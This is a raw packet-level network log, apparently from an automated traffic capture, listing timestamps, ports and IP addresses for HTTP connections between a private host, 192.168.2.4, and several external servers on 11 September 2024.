Sep 11, 2024 16:22:17.172961950 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172970057 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.172972918 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172983885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.172995090 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173006058 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173018932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173028946 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173029900 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173037052 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173047066 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173049927 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173058987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173069954 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173079967 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173082113 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173082113 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173094988 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173108101 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173113108 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173120022 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173125029 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173131943 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173142910 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173151016 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173155069 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173177004 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173183918 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173193932 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173207045 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173209906 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173218012 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173228979 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173240900 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173253059 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173254967 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173265934 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173265934 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.173280001 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173290968 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173302889 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173311949 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.173312902 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173326015 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173330069 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.173346996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173355103 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.173365116 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173376083 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173387051 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173398972 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173410892 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173422098 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173422098 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173425913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173438072 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173449039 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173460007 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173470020 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173472881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173485041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173496962 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173500061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173516989 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173528910 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173541069 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173541069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173541069 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173552036 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173563957 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173572063 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173577070 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173588991 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173600912 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173612118 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173608065 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173624992 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173631907 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173640013 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173655987 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173665047 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173672915 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173686028 CEST	80	49743	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:17.173686981 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173702955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173716068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173726082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173729897 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.173738003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173748016 CEST	49743	80	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:17.173749924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173762083 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173774958 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173785925 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173796892 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173809052 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173821926 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173821926 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173825026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173837900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173849106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173862934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173865080 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173865080 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173873901 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173878908 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173886061 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173897028 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173907042 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173918962 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173928976 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173939943 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173950911 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173959970 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.173963070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.173976898 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.173988104 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174000978 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174000978 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174004078 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174015999 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174026012 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174031973 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174036980 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174037933 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174050093 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174061060 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174073935 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174073935 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174086094 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174098969 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174109936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174120903 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174120903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174133062 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174138069 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174148083 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174150944 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174163103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174175024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174185991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174199104 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174199104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174211979 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174220085 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174223900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174236059 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174248934 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174263954 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174266100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174278021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174288034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174299955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174304008 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174304008 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174312115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174323082 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174330950 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174334049 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174346924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174359083 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174371958 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174372911 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174372911 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174384117 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174396038 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174396038 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174407005 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174417019 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174428940 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174433947 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174441099 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174453020 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174462080 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174465895 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174478054 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174484968 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174490929 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174503088 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174508095 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174515963 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174530029 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174556017 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174808025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174825907 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174837112 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174849033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174860954 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174874067 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.174885988 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.174901009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.174905062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174905062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.174913883 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174932003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174945116 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174952984 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.174956083 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174968004 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174978971 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.174987078 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.174992085 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175004959 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175015926 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175029993 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175038099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.175040007 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175043106 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175055981 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175069094 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175070047 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175081968 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175091028 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175092936 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175107956 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175126076 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175137997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175139904 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175151110 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175151110 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.175163031 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175174952 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175189972 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175213099 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.175312042 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.175394058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.175405025 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.175417900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.175430059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.175441980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.175441980 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.175452948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.175461054 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.175472021 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175483942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175496101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175498962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.175506115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175518036 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175529957 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175545931 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.175549030 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175560951 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175570965 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175574064 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.175576925 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175585032 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175596952 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175600052 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175627947 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175844908 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175862074 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175873041 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175884008 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175885916 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175895929 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175906897 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.175920010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175930977 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175940037 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175942898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175955057 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175966978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.175980091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.175981045 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.175996065 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.176031113 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.176107883 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176120996 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176150084 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176150084 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176265001 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176354885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176367044 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176383018 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176394939 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176405907 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176415920 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176415920 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176418066 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176438093 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176449060 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176451921 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.176460981 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176471949 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176479101 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.176485062 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176496983 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176501989 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.176508904 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176521063 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176526070 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176532984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176537037 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.176544905 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.176558018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.176569939 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.176582098 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.176594019 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.176597118 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.176620007 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.176636934 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.176660061 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.176688910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.176707983 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176726103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176731110 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.176738024 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176755905 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176765919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176783085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176786900 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176796913 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176808119 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176809072 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176817894 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176826000 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176829100 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176840067 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176851034 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176862955 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176876068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176883936 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176883936 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176887989 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176928997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.176934004 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176934004 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.176989079 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.177015066 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177026033 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.177035093 CEST	443	49746	76.76.21.61	192.168.2.4
Sep 11, 2024 16:22:17.177037001 CEST	80	49737	31.41.244.9	192.168.2.4
